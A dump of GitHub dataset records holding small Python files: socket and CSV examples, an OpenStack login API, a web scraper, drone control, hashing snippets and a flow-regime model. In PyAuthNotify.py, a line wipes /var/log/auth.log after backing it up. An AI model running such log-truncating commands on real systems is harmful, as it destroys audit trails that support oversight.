\"adaptivity_level\"]\n\nresultado = adaptabilidad \n\nresultado","repo_name":"IonatanPerez/Curso_DHDS_CN17","sub_path":"Cosas/Dani/Mejora_para_alumno.py","file_name":"Mejora_para_alumno.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"44161458907","text":"#!/usr/bin/env python2\nimport socket\nip=\"192.168.10.216\"\nport=8080 # port >6000 are generally free to use\n\n#calling udp protocol\n\ns=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#udp for tcp enter nothing under function and for tcp it is socket.SOCK_DGRAM and socket.AF_INET is for ipv4\n\n\n\n#sending message to target\n\n\ns.sendto(\"hiiii\",(ip,port))\n","repo_name":"puneetmanghwani/socket-programming","sub_path":"sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9772356341","text":"# importing the csv module\nimport csv\n\n# my data rows as dictionary objects\nmydict = [{'branch': 'COE', 'cgpa': '9.0',\n 'name': 'Nikhil', 'year': '2'},\n {'branch': 'COE', 'cgpa': '9.1',\n 'name': 'Sanchit', 'year': '2'},\n {'branch': 'IT', 'cgpa': '9.3',\n 'name': 'Aditya', 'year': '2'},\n {'branch': 'SE', 'cgpa': '9.5',\n 'name': 'Sagar', 'year': '1'},\n {'branch': 'MCE', 'cgpa': '7.8',\n 'name': 'Prateek', 'year': '3'},\n {'branch': 'EP', 'cgpa': '9.1',\n 'name': 'Sahil', 'year': '2'},\n {'branch':'Mech.','cgpa':'9.3',\n 'name':'Srinivas','year':'3'}]\n\n\nfields = ['name', 'branch', 'year', 'cgpa']\nfilename = \"university_records.csv\"\nwith open(filename, 'w') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=fields)\n\n # writing headers (field names)\n writer.writeheader()\n\n # writing data rows\n writer.writerows(mydict)","repo_name":"KLU-2100031075/s9_PFSD","sub_path":"csv.py","file_name":"csv.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"44302388102","text":"import prowlpy\nfrom os import system\n\nprowl = prowlpy.Prowl(\"\") # replace with your prowl API key\n\nAUTHLOG = open(\"/var/log/auth.log\", \"r\") # log location\nBACKUPLOG = open(\"/root/backups/authbackup.txt\", \"a\") # log backup location\n\ndef checkFails(): # function to check for failed logins \n for line in AUTHLOG:\n BACKUPLOG.write(line)\n if \"authentication failure\" in line: # checks for specific text in logfile\n prowl.post(\"PyAuthNotify\", # notification content, change to anything\n \"LOGIN FAILURE\",\n \"Unsuccessful login attempt\",\n \"1\") # notification priority\n if \"user unknown\" in line:\n prowl.post(\"PyAuthNotify\",\n \"USER UNKNOWN\",\n \"Nonexsistent user login attempt\",\n \"2\")\n else:\n continue\n\ncheckFails()\nAUTHLOG.close()\nBACKUPLOG.close()\nsystem(\"> /var/log/auth.log\") # clears log\nexit()\n","repo_name":"astewart64/PyAuthNotify","sub_path":"PyAuthNotify.py","file_name":"PyAuthNotify.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18739380059","text":"from django.utils.translation import ugettext_lazy as _\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth import logout\nfrom django.contrib.auth import views as django_auth_views\nfrom django.contrib import auth\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils import functional\nfrom openstack_auth import forms\nimport json\nfrom django.conf import settings\nfrom openstack_auth import utils\nfrom openstack_auth import user as auth_user\nfrom django.contrib import messages\nfrom django.http import JsonResponse\nfrom keystoneauth1 import exceptions as keystone_exceptions\nimport datetime\nimport logging\nLOG = logging.getLogger(__name__)\n\n\nclass APILoginView(django_auth_views.LoginView):\n '''A LoginView with no CSRF protection.'''\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super(django_auth_views.LoginView,\n self).dispatch(request, *args, **kwargs)\n\n\ndef bls_logout(request):\n logout(request)\n return JsonResponse(\"success\", status=204, safe=False)\n\n\n@csrf_exempt\ndef login(request):\n if request.method == \"POST\":\n # print(request.POST)\n data = json.loads(request.body)\n data['region'] = 'default'\n request.POST = data\n\n APILoginView.as_view(template_name='',\n redirect_field_name=auth.REDIRECT_FIELD_NAME,\n form_class=functional.curry(forms.Login),\n extra_context={},\n redirect_authenticated_user=False)(request)\n\n if request.user.is_authenticated:\n # print(\"is_authenticated\")\n auth_user.set_session_from_user(request, request.user)\n regions = dict(forms.get_region_choices())\n region = request.user.endpoint\n login_region = request.POST.get('region')\n region_name = regions.get(login_region)\n request.session['region_endpoint'] = region\n request.session['region_name'] = region_name\n expiration_time = request.user.time_until_expiration()\n threshold_days = settings.PASSWORD_EXPIRES_WARNING_THRESHOLD_DAYS\n if (expiration_time is not None\n and expiration_time.days <= threshold_days\n and expiration_time > datetime.timedelta(0)):\n expiration_time = str(expiration_time).rsplit(':', 1)[0]\n msg = (\n _('Please consider changing your password, it will expire'\n ' in %s minutes') % expiration_time).replace(\n ':', ' Hours and ')\n messages.warning(request, msg)\n else:\n return JsonResponse(\"Password is wrong. Ensure your password.\",\n status=400,\n safe=False)\n\n res = dict(\n items=[d.to_dict() for d in request.user.authorized_tenants])\n\n for project in res['items']:\n if project['name'] == 'admin':\n break\n switch(request, project['id'])\n # print(request.session.session_key)\n return JsonResponse(\n {\n \"sid\": request.session.session_key,\n \"project_id\": request.user.tenant_id,\n \"token_expires\": request.user.token.expires\n },\n safe=False)\n\n\ndef is_admin(request):\n if request.method == \"GET\":\n if request.user.username == 'admin':\n print(\"isadmin: True\")\n return JsonResponse(True, safe=False)\n else:\n print(\"isadmin: False\")\n return JsonResponse(False, safe=False)\n\n\n@login_required\ndef get_token_info(request):\n if request.method == \"GET\":\n if request.user.is_authenticated:\n data = {\n \"username\": request.user.username,\n \"token_expires\": request.user.token.expires,\n \"token_user\": request.user.token.user,\n \"token_project\": request.user.token.project,\n \"user_domain_id\": request.user.user_domain_id\n }\n\n return JsonResponse(data, safe=False)\n else:\n return JsonResponse(\"not logged in\", status=401, safe=False)\n\n\n@login_required\ndef switch(request, project_id=None):\n if not project_id:\n data = json.loads(request.body)\n tenant_id = data['project_id']\n else:\n tenant_id = project_id\n LOG.debug('Switching to tenant %s for user \"%s\".', tenant_id,\n request.user.username)\n\n endpoint, __ = utils.fix_auth_url_version_prefix(request.user.endpoint)\n session = utils.get_session()\n\n unscoped_token = request.user.unscoped_token\n auth = utils.get_token_auth_plugin(auth_url=endpoint,\n token=unscoped_token,\n project_id=tenant_id)\n\n try:\n auth_ref = auth.get_access(session)\n msg = 'Project switch successful for user \"%(username)s\".' % \\\n {'username': request.user.username}\n LOG.info(msg)\n except keystone_exceptions.ClientException:\n msg = (_('Project switch failed for user \"%(username)s\".') % {\n 'username': request.user.username\n })\n messages.error(request, msg)\n auth_ref = None\n LOG.exception('An error occurred while switching sessions.')\n\n if auth_ref:\n user = auth_user.create_user_from_token(\n request, auth_user.Token(auth_ref, unscoped_token=unscoped_token),\n endpoint)\n auth_user.set_session_from_user(request, user)\n message = (_('Switch to project \"%(project_name)s\" successful.') % {\n 'project_name': request.user.project_name\n })\n messages.success(request, message)\n # utils.set_response_cookie(response, 'recent_project',\n # request.user.project_id)\n\n print({\n \"tenant_id\": request.user.tenant_id,\n \"tenant_name\": request.user.tenant_name,\n \"username\": request.user.username\n })\n return JsonResponse(\"success\", safe=False)\n\n else:\n return JsonResponse(\"failed\", status=400, safe=False)\n\n\ndef is_logged_in(request):\n if request.user.is_authenticated:\n return JsonResponse(True, safe=False)\n else:\n return JsonResponse(False, status=401, safe=False)\n\n\n@login_required\ndef tenant_info(request):\n return JsonResponse(\n {\n \"tenant_id\": request.user.tenant_id,\n \"tenant_name\": request.user.tenant_name\n },\n safe=False)\n\n\n@login_required\ndef user_info(request):\n return JsonResponse(\n {\n \"username\": request.user.username,\n \"service_catalog\": request.user.service_catalog,\n },\n safe=False)\n","repo_name":"Hyun2/horizon-rest","sub_path":"bls_auth.py","file_name":"bls_auth.py","file_ext":"py","file_size_in_byte":6944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20534368637","text":"# -*- coding: utf-8 -*-\nimport json\n\nfrom scrapy.http import Request\nfrom urlparse import urljoin\n\nfrom product_spiders.base_spiders.primary_spider import PrimarySpider\nfrom product_spiders.items import Product, ProductLoaderWithoutSpaces as ProductLoader\n\n\nclass CromwellCoUkSpider(PrimarySpider):\n name = 'cromwell.co.uk'\n allowed_domains = ['cromwell.co.uk']\n start_urls = ('http://www.cromwell.co.uk/',)\n\n # website_id = 245\n\n csv_file = 'cromwell_crawl.csv'\n \n base_url = 'https://www.cromwell.co.uk/'\n \n category_url = 'https://restapi.cromwell.co.uk/v1.0/search?categoryId=%s'\n family_url = 'https://restapi.cromwell.co.uk/v1.0/search?familyId=%s'\n product_url = 'https://restapi.cromwell.co.uk/v1.0/products?sku=%s'\n\n def parse(self, response):\n data = response.xpath('//script/text()').re('window.__initialValues = ({.+})')\n data = json.loads(data[0])\n token = data['initialState']['auth']['jwtToken']\n self.headers = {'Authorization': token}\n categories = data['initialState']['categories']\n for category in categories:\n for cat_id in category['subcategories']:\n yield Request(self.category_url %cat_id, headers=self.headers, callback=self.parse_category)\n \n def parse_category(self, response):\n data = json.loads(response.body)\n for category in data['categories']:\n if not category['childCategories']:\n yield response.request.replace(dont_filter=True)\n return\n for child_category in category['childCategories']:\n cat_id = child_category['id']\n yield Request(self.category_url %cat_id, headers=self.headers, callback=self.parse_category)\n if 'families' not in child_category:\n continue\n for family in child_category['families']:\n product_skus = ','.join(family['products'])\n yield Request(self.product_url %product_skus, headers=self.headers, callback=self.parse_products)\n\n def parse_products(self, response):\n data = json.loads(response.body)\n for product in data:\n loader = ProductLoader(response=response, item=Product())\n loader.add_value('identifier', product['sku'])\n loader.add_value('sku', product['sku'])\n loader.add_value('url', urljoin(self.base_url, product['sku']))\n loader.add_value('name', product['name'])\n price = product['price']['specialOfferPrice'] or product['price']['standardListPrice']\n if product['price']['standardBreak1Qty'] == 1 and product['price']['standardBreak1Price']:\n price = min(product['price']['standardBreak1Price'], price)\n loader.add_value('price', price)\n loader.add_value('category', product['category']['categoryName'])\n if product['mediaContent']:\n image_url = product['mediaContent'][0].get('mainPicture') or product['mediaContent'][0]['otherPictures1']\n image_url = image_url['productImage']['lowResolution']\n loader.add_value('image_url', image_url)\n loader.add_value('brand', product['brand']['brandName'])\n if price < 50:\n loader.add_value('shipping_cost', '4.99')\n loader.add_value('stock', product['stock']['quantity'])\n yield loader.load_item()\n \n def errback(self, failure, meta, url, callback):\n retry_no = int(meta.get('retry_no', 0))\n if retry_no < 10:\n retry_no += 1\n meta_copy = meta.copy()\n meta_copy['retry_no'] = retry_no\n yield Request(\n url,\n meta=meta_copy,\n callback=callback,\n errback=lambda failure, meta=meta_copy,\n url=url, callback=callback: self.errback(failure, meta, url, callback),\n dont_filter=True)\n","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/arco_a/cromwell_co_uk.py","file_name":"cromwell_co_uk.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24260798557","text":"from dronekit import connect, VehicleMode, LocationGlobalRelative, mavutil\nimport time\n\n# Connect to vehicle\nimport argparse\nparser = argparse.ArgumentParser(description='commands')\nparser.add_argument('--connect')\nargs = parser.parse_args()\n\nconnection_string = args.connect\n\nsitl = None\n\n\nif not connection_string:\n import dronekit_sitl\n sitl = dronekit_sitl.start_default()\n connection_string = sitl.connection_string()\n\nvehicle = connect('/dev/cu.usbmodem1411', wait_ready=True, baud=115200)\nprint(\"!!! Connection to the vehicle on: {} !!!\".format(connection_string))\n\n\n#Define function for take off\ndef arm_and_takeoff(secs):\n print(\"!!! Arming Motors !!!\")\n '''\n while not vehicle.is_armable:\n print(\"!!! Waiting for vehicle to initialise... !!!\")\n time.sleep(1)\n '''\n vehicle.mode = VehicleMode(\"STABILIZE\")\n vehicle.armed = True\n\n '''\n while not vehicle.armed:\n print(\"!!! Waiting for arming... !!!\")\n time.sleep(1)\n '''\n print(\"!!! Takeoff !!!\")\n\n time.sleep(1)\n\ndef send_ned_velocity(velocity_x, velocity_y, velocity_z, duration):\n \"\"\"\n Move vehicle in direction based on specified velocity vectors.\n \"\"\"\n print(\"###### 1 ######\")\n msg = vehicle.message_factory.set_position_target_local_ned_encode(\n 0, # time_boot_ms (not used)\n 0, 0, # target system, target component\n mavutil.mavlink.MAV_FRAME_LOCAL_NED, # frame\n 0b0000111111000111, # type_mask (only speeds enabled)\n 0, 0, 0, # x, y, z positions (not used)\n velocity_x, velocity_y, velocity_z, # x, y, z velocity in m/s\n 0, 0, 0, # x, y, z acceleration (not supported yet, ignored in GCS_Mavlink)\n 0, 0) # yaw, yaw_rate (not supported yet, ignored in GCS_Mavlink)\n\n # send command to vehicle on 1 Hz cycle\n for x in range(0, duration):\n print(\"###### 2 ######\")\n vehicle.send_mavlink(msg)\n time.sleep(1)\n\n\n\n# Main\narm_and_takeoff(10)\n#send_ned_velocity(3,0,0,5)\n#time.sleep(1)\nsend_ned_velocity(30, 30, 30, 15)\ntime.sleep(1)\nprint(\"###### 3 ######\")\n\n\nvehicle.mode = VehicleMode('LAND')\n\n# Close Connection\nvehicle.close()\n\n","repo_name":"harryrance/Edge-and-Empty-Space-Detection-PyRealSense2-OpenCV","sub_path":"_old/RLTEST.py","file_name":"RLTEST.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21583608517","text":"# 1\n# from flask import Flask\n#\n# app = Flask(__name__)\n#\n# @app.route('/')\n# def hello_world():\n# return 'Hello, World!'\n#\n# if __name__ == '__main__':\n# app.run()\n\n\n# 2.1\n# import hashlib\n# m = hashlib.md5()\n# m.update(\"Hello World\".encode(\"utf-8\"))\n# print(m.hexdigest())\n\n# 2.2\n# import hashlib\n# sha1 = hashlib.sha256()\n# data = '2333333'\n# sha1.update(data.encode('utf-8'))\n# sha1_data = sha1.hexdigest()\n# print(sha1_data)\n\n# 2.3\n# import hmac\n# import hashlib\n# # 第一个参数是密钥key,第二个参数是待加密的字符串,第三个参数是hash函数\n# mac = hmac.new(b'key',b'hello',hashlib.md5)\n# print(mac.digest()) # 字符串的ascii格式\n# print(mac.hexdigest()) # 加密后字符串的十六进制格式\n\n\n# 3\n# 定义填充函数\nimport math\nimport struct\n\n# 定义逻辑函数\ndef F(x, y, z):\n return (x & y) | (~x & z)\n\ndef G(x, y, z):\n return (x & z) | (y & ~z)\n\ndef H(x, y, z):\n return x ^ y ^ z\n\ndef I(x, y, z):\n return y ^ (x | ~z)\n\n# 定义移位函数\ndef shift_left(x, n):\n return (x << n) | (x >> (32 - n))\n\ndef padding(msg):\n # 获取消息的长度\n length = len(msg) * 8\n\n # 计算填充的位数\n padding_length = (448 - length - 1) % 512\n\n # 填充消息\n padded_msg = msg + b'\\x80' + b'\\x00' * (padding_length // 8)\n\n # 将消息的长度添加到填充后的消息末尾\n padded_msg += struct.pack(' 2000):\n n = 0.2\n C_l = 0.046\n tfl = 'turbulento'\n\n if(Re_g > 2000):\n m = 0.2\n C_g = 0.046\n tfg = 'turbulento'\n \n \n #Parámetro de Lockhart y Martinelli\n X = (C_l/C_g)*(Re_g**m/Re_l**n)*(rho_l/rho_g)*(Vs_l/Vs_g)**2\n X = sqrt(X)\n \n #Parametro de Inclinacion\n Y = (rho_l - rho_g)*np.sin(theta)*g*power(Re_g, m)*d/(2.*C_g*rho_g*Vs_g*Vs_g)\n \n \n \n '''-----------------------------------------------------*\n | CALCULAR NIVEL EQUILIBRIO Y PARAMETROS ADIMENSIONALES |\n *-----------------------------------------------------'''\n \n \n #Distancia Adimensional inicial, necesaria para el algoritmo\n h_0 = 0.5\n \n #Distancia Adimensional de equilibrio -> ACA SE RESUELVE NUMERICAMENTE LA ECUACION A)\n _h = fsolve(Ecuacion_Taitel_Dukler, h_0, args=(X, Y, m, n))[0]\n\n\n #Variable Auxiliar\n _2h1 = 2.*_h-1.\n\n # Perimetro gas - pared\n S_g = arcos(_2h1)\n \n # Perimetro liquido - pared\n S_l = pi - S_g\n \n # Perimetro interfaz\n S_i = sqrt(1. - _2h1*_2h1)\n\n #S_i = sqrt(1. - _2h1*_2h1)\n \n #Area liquido\n A_l = 0.25*(pi - S_g + _2h1*S_i)\n \n #Area gas\n A_g = 0.25*(S_g - _2h1*S_i)\n \n #Area total\n A = 0.25*pi\n \n #Velocidad del liquido\n u_l = A/A_l\n \n #Velocidad del gas\n u_g = A/A_g\n \n # Diametro hidraulico del liquido\n D_l = 4.*A_l/S_l\n \n #Diametro hidraulico del gas\n D_g = 4.*A_g/(S_g + S_i)\n \n\n\n '''-------------*\n | TRANSICIONES |\n *-------------'''\n\n\n #Transicion de flujo estratificado a no estratificado\n def transicion_A(_h, C_l, Vs_g, Vs_l, Re_l, d, rho_l, rho_g, theta, g, u_l, A_g, n, D_l, S_i, u_g):\n \n # Numero de froude\n F = ( rho_g*Vs_g**2 )/( (rho_l - rho_g)*d*g*np.cos(theta) )\n F = sqrt(F)\n\n condicion = F**2*( u_g**2*S_i )/( (1 - _h)**2* A_g )\n\n if condicion >= 1:\n #no estratificado, revisar anular o burbujeante/intermitente en transicion B\n return transicion_B(_h, C_l, Vs_l, Re_l, d, rho_l, rho_g, theta, g, u_l, A_g, n, D_l, S_i) \n \n else:\n #estratificado, revisar liso u ondulado en transicion C\n return transicion_C(F, Re_l, u_l, u_g)\n\n\n #Transicion de flujo anular a burbujeante o intermitente\n def transicion_B(_h, C_l, Vs_l, Re_l, d, rho_l, rho_g, theta, g, u_l, A_g, n, D_l, S_i):\n \n if _h >= 0.35:\n #Revisar si es burbujetante o intermitente\n return transicion_D(C_l, Vs_l, Re_l, d, rho_l, rho_g, theta, g, u_l, A_g, n, D_l, S_i)\n else:\n #Es Anular\n return 'Anular'\n \n\n # Transicion Flujo Estratificado Liso a Ondulado\n def transicion_C(F, Re_l, u_l, u_g):\n \n #Numero de Duckler\n K = F*sqrt(Re_l)\n \n #Coeficiente de recuperacion\n s = 0.01\n \n condicion = 2/( sqrt(u_l*s) * u_g )\n \n if K >= condicion:\n #Es ondulado\n return 'Estratificado Ondulado'\n else:\n #Es liso\n return 'Estratificado Liso'\n\n\n # Transicion Flujo Intermitente a Burbujeante\n def transicion_D(C_l, Vs_l, Re_l, d, rho_l, rho_g, theta, g, u_l, A_g, n, D_l, S_i):\n \n #Numero de Taitel\n dpdx_l = 2*C_l*rho_l*Vs_l**2 /( d*Re_l**n)\n T = dpdx_l/((rho_l - rho_g)*np.cos(theta)*g)\n T = sqrt(T)\n \n condicion = ( 8*A_g*(u_l - D_l )**n )/( S_i*u_l**2 )\n condicion = sqrt(condicion)\n\n if T >= condicion:\n #Es Burbujeante\n return 'Burbujeante'\n else:\n #Es Intermitente\n return 'Intermitente'\n\n\n\n estado = transicion_A(_h, C_l, Vs_g, Vs_l, Re_l, d, rho_l, rho_g, theta, g, u_l, A_g, n, D_l, S_i, u_g)\n\n\n\n '''-------------------------*\n ~ IMPRESION DE RESULTADOS ~\n *-------------------------'''\n\n print('* Reynolds del gas: {:.2f} y es un flujo '.format(Re_g) + tfg )\n print('* Reynolds del liquido: {:.2f} y es un flujo '.format(Re_l) + tfl )\n print('* Parametro de Lockhart y Martinelli X: {:.5f}'.format(X))\n print('* Parametro de Inclinacion Y: {:.5f}'.format(Y))\n print('* Altura en equilibrio adimensional: {:.3f}'.format(_h))\n print('* Perimetro Gas-Pared adimensional: {:.3f}'.format(S_g))\n print('* Perimetro Liquido-Pared adimensional: {:.3f}'.format(S_l))\n print('* Perimetro Interfaz adimensional: {:.3f}'.format(S_i))\n print('* Area liquido adimensional: {:.3f}'.format(A_l))\n print('* Area gas adimensional: {:.3f}'.format(A_g))\n print('* Velocidad liquido adimensional: {:.3f}'.format(u_l))\n print('* Velocidad gas adimensional: {:.3f}'.format(u_g))\n print('* Diametro hidraulico liquido adimensional: {:.3f}'.format(D_l))\n print('* Diametro hidraulico gas adimensional: {:.3f}'.format(D_g))\n print('* El sistema está en la fase ' + estado)\n\n\ndef Ecuacion_Taitel_Dukler(h, *args):\n \"\"\"\n Computo de F1(h) y F2(h). Estas a su vez se desglosan en varias variables adimensionales que dependen de h. Comenzamos \n con las variables mas sencillas de definir con respecto a h.\n \n\n Parameters\n ----------\n h : float\n Altura adimensional. Varia en el intervalo (tol, 1-tol)\n \n *args -> Contiene:\n X : float\n Parámetro de Lockhart y Martinelli\n Y : float\n Representa las fuerzas relativas actuando en el liquido en la dirección del flujo debido a la gravedad y gradiente de presión\n m : float\n Exponente del factor de fricción para el gas. Para flujos turbulentos m = 0.2 y para laminares m = 1\n n : float\n Exponente del factor de fricción para el liquido. Para flujos turbulentos n = 0.2 y para laminares n = 1\n\n Returns\n -------\n array de F1(h) y F2(h)\n\n \"\"\"\n tol = 1e-5\n \n if h < 0:\n h = tol\n if h > 1:\n h = 1 - tol\n \n #Variable Auxiliar\n _2h1 = 2.*h-1.\n\n # Perimetro gas - pared\n S_g = arcos(_2h1)\n \n # Perimetro liquido - pared\n S_l = pi - S_g\n \n # Perimetro interfaz\n S_i = sqrt(1. - _2h1*_2h1)\n\n #S_i = sqrt(1. - _2h1*_2h1)\n \n #Area liquido\n A_l = 0.25*(pi - S_g + _2h1*S_i)\n \n #Area gas\n A_g = 0.25*(S_g - _2h1*S_i)\n \n #Area total\n A = 0.25*pi\n \n #Velocidad del liquido\n u_l = A/A_l\n \n #Velocidad del gas\n u_g = A/A_g\n \n # Diametro hidraulico del liquido\n D_l = 4.*A_l/S_l\n \n #Diametro hidraulico del gas\n D_g = 4.*A_g/(S_g + S_i)\n \n #Parametros necesarios en la ecuacion\n X = args[0]\n Y = args[1]\n m = args[2]\n n = args[3]\n \n #Funciones F1(h) y F2(h)\n f1_h = power(u_l*D_l, -n)*u_l*u_l*S_l/A_l\n f2_h = power(u_g*D_g, -m)*u_g*u_g*(S_g/A_g + S_i/A_l + S_i/A_g)\n \n return X**2*f1_h - f2_h + 4.*Y\n\n\ndef Diagrama_Taitel_Dukler(puntos=1000, tol = 0.001):\n \"\"\"\n Acá se realiza la grafica de h vs X realizada por Taitel y Dukler, pero en vez de ser\n h = h(X, Y), la cual es una función no invertible analiticamente, se grafica X = X(h,Y),\n la cual se puede despejar para un h dado.\n\n Parameters\n ----------\n puntos : integer, optional\n Cantidad de puntos para la resolucion en h. The default is 50.\n tol : float, optional\n Tolerancia de h para evitar problemas de presición en los limites en el rango (0, 1). The default is 1e-1.\n\n\n Returns\n -------\n None.\n\n\n \"\"\"\n\n def Funciones_h(h, m, n):\n \"\"\"\n Computo de F1(h) y F2(h). Estas a su vez se desglosan en varias variables adimensionales que dependen de h. Comenzamos \n con las variables mas sencillas de definir con respecto a h.\n \n \n Parameters\n ----------\n h : float\n Altura adimensional. Varia en el intervalo (tol, 1-tol)\n m : float\n Exponente del factor de fricción para el gas. Para flujos turbulentos m = 0.2 y para laminares m = 1\n n : float\n Exponente del factor de fricción para el liquido. Para flujos turbulentos n = 0.2 y para laminares n = 1\n \n Returns\n -------\n array de F1(h) y F2(h)\n \n \"\"\"\n \n #Variable Auxiliar\n _2h1 = 2.*h-1.\n \n # Perimetro gas - pared\n S_g = arcos(_2h1)\n \n # Perimetro liquido - pared\n S_l = pi - S_g\n \n # Perimetro interfaz\n S_i = sqrt(1. - _2h1*_2h1)\n \n #Area liquido\n A_l = 0.25*(pi - S_g + _2h1*S_i)\n \n #Area gas\n A_g = 0.25*(S_g - _2h1*S_i)\n \n #Area total\n A = 0.25*pi\n \n #Velocidad del liquido\n u_l = A/A_l\n \n #Velocidad del gas\n u_g = A/A_g\n \n # Diametro hidraulico del liquido\n D_l = 4.*A_l/S_l\n \n #Diametro hidraulico del gas\n D_g = 4.*A_g/(S_g + S_i)\n \n \n #Funciones F1(h) y F2(h)\n f1_h = power(u_l*D_l, -n)*u_l*u_l*S_l/A_l\n f2_h = power(u_g*D_g, -m)*u_g*u_g*(S_g/A_g + S_i/A_l + S_i/A_g)\n \n return np.asarray((f1_h, f2_h)).T\n \n \n #Array de los valores de la altura adimensional en el rango (0,1). Para evitar problemas en h = 0 y h = 1 se incluye una \n #tolerancia.\n h = np.linspace(tol, 1. - tol, puntos)\n \n #Array del Factor peso vs gradiente de presión\n Y = np.array((-1e4, -1e3, -1e2, -1e1, 0., 1, 4, 5, 10, 1e2, 1e3))\n \n\n ''' ----------------------*\n ~ TURBULENTO/TURBULENTO ~\n *-----------------------'''\n \n #Exponentes del factor de fricción\n m = 0.2\n n = 0.2\n \n #Funciones que dependen de h\n Fh_tt = Funciones_h(h, m, n)\n\n #Parámetro de Lockhart and Martinelli\n X_tt = np.zeros(puntos)\n \n \n ''' ----------------------*\n ~ TURBULENTO/LAMINAR ~\n *-----------------------'''\n \n #Exponentes del factor de fricción\n m = 1.0\n n = 0.2\n \n #Funciones que dependen de h\n Fh_tl = Funciones_h(h, m, n)\n\n #Parámetro de Lockhart and Martinelli\n X_tl = np.zeros(puntos)\n \n \n ''' ----------------------*\n ~ GRAFICACION Y AJUSTE ~\n *-----------------------'''\n \n plt.clf()\n plt.xlabel('X')\n plt.ylabel('h/D')\n plt.suptitle('Nivel de Equilibrio para Flujo Estratificado')\n plt.title(' _ _ Tur/Lam ___ Tur/Tur')\n plt.xlim((1e-3,1e4))\n plt.ylim((0,1))\n plt.xscale(\"log\")\n #f = mticker.ScalarFormatter(useOffset=False, useMathText=True)\n #g = lambda x,pos : \"${}$\".format(f._formatSciNotation('%1.10e' % x))\n #fmt = mticker.FuncFormatter(g)\n colors = cm.rainbow(np.linspace(0, 1, len(Y)))\n \n \n \n #Ciclo de barrido de Y\n for y_i in range(len(Y)):\n\n #Ciclo de barrido de h\n for i in range(puntos):\n \n #turbulento - turbulento\n tmp = ( Fh_tt[i][1] - 4.*Y[y_i] ) / Fh_tt[i][0]\n X_tt[i] = sqrt(max(tmp,0))\n\n #turbulento - laminar\n tmp = ( Fh_tl[i][1] - 4.*Y[y_i] ) / Fh_tl[i][0]\n X_tl[i] = sqrt(max(tmp,0))\n \n plt.plot(X_tt, h, '-', label=\"{}\".format(Y[y_i]), c=colors[y_i])\n plt.plot(X_tl, h, '--', c=colors[y_i])\n\n plt.legend(loc='best', fancybox=True, title='Y =')\n plt.show()\n\n \nif 'name'== __main__():\n __main__()","repo_name":"luisfernandoperez/flujos_bifasicos","sub_path":"Modelado_Transiciones.py","file_name":"Modelado_Transiciones.py","file_ext":"py","file_size_in_byte":15590,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"26006119155","text":"###注意! while条件判断时,要考虑r < n and s[r] != ' ' 哪个在前哪个在后。\n\n##空间复杂度为O(1)的方案:\n## 先去空,然后整个字符串反转,然后单词反转\n###注意,去空可以分情况,先把头尾的搞定,再搞中间\n####因为字符串是不可变类型,所以反转单词的时候,需要将其转换成列表,然后通过join函数再将其转换成列表,所以空间复杂度不是O(1)\n####可以用split获取单词,然后双指针\n\n#####split函数自动就把空格给去掉了只剩下单词\n\nclass Solution:\n def reverseWords(self, s: str) -> str:\n ans = []\n n = len(s)\n l,r = 0,0\n #print(s[3])\n while l < n:\n\n\n if s[l] != ' ':\n r = l\n while r < n and s[r] != ' ' :\n r += 1\n ans.append(s[l:r])\n l = r + 1\n else:\n l += 1\n \n ans = ans[::-1]\n return ' '.join(ans)\n \n \n\nclass Solution:\n def reverseWords(self, s: str) -> str:\n s = list(s)\n #1.去除多余空格\n\n \n while( s[0] == ' '):\n s = s[1:]\n while s[len(s)-1] == ' ':\n s = s[:-1]\n l = r = 0\n for l in range(len(s)):\n \n while l < len(s) - 1 and s[l] != ' ':\n l += 1\n\n r = l\n \n while r < len(s) and s[r] == ' ':\n r += 1\n if l != r:\n s[l:r] = ' '\n #l += 1\n if l >= len(s) - 1:\n break\n\n\n \n #2. 反转字符串\n\n s.reverse()\n #print(s)\n #3. 反转单词\n l = r = 0\n while(l < len(s)):\n r = l\n while r < len(s) and s[r] != ' ':\n r += 1\n s[l:r] = s[l:r][::-1]\n l = r + 1\n return ''.join(s)\n \n \nclass Solution:\n def reverseWords(self, s: str) -> str:\n #s = list(s)\n #1.去除多余空格\n n = len(s)\n s = s.strip()\n print(s)\n s = s[::-1]\n ans = s.split()\n\n\n return ' '.join([text[::-1] for text in ans])\n \n\n\nclass Solution:\n def reverseWords(self, s: str) -> str:\n #s = list(s)\n #1.去除多余空格\n ans = s.split()\n l,r = 0,len(ans)-1\n while l < r:\n ans[l],ans[r] = ans[r],ans[l]\n l += 1\n r -= 1\n return ' '.join(ans)\n\n\n \n \n\n ","repo_name":"supersyz/good_job","sub_path":"代码随想录/4字符串/151.py","file_name":"151.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"zh","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"1978455428","text":"import argparse\nfrom base64 import b64encode\nfrom collections import namedtuple\nimport configparser\nimport ctypes\nimport hashlib\nfrom datetime import datetime\nimport filecmp\nimport fnmatch\nimport itertools\nimport os\nimport platform\nimport re\nimport shutil\nimport sqlite3\nimport urllib.request\nimport sys\nimport unicodedata\n\n#===============================================================================\n# project's settings\n#\n# o for __version__ format 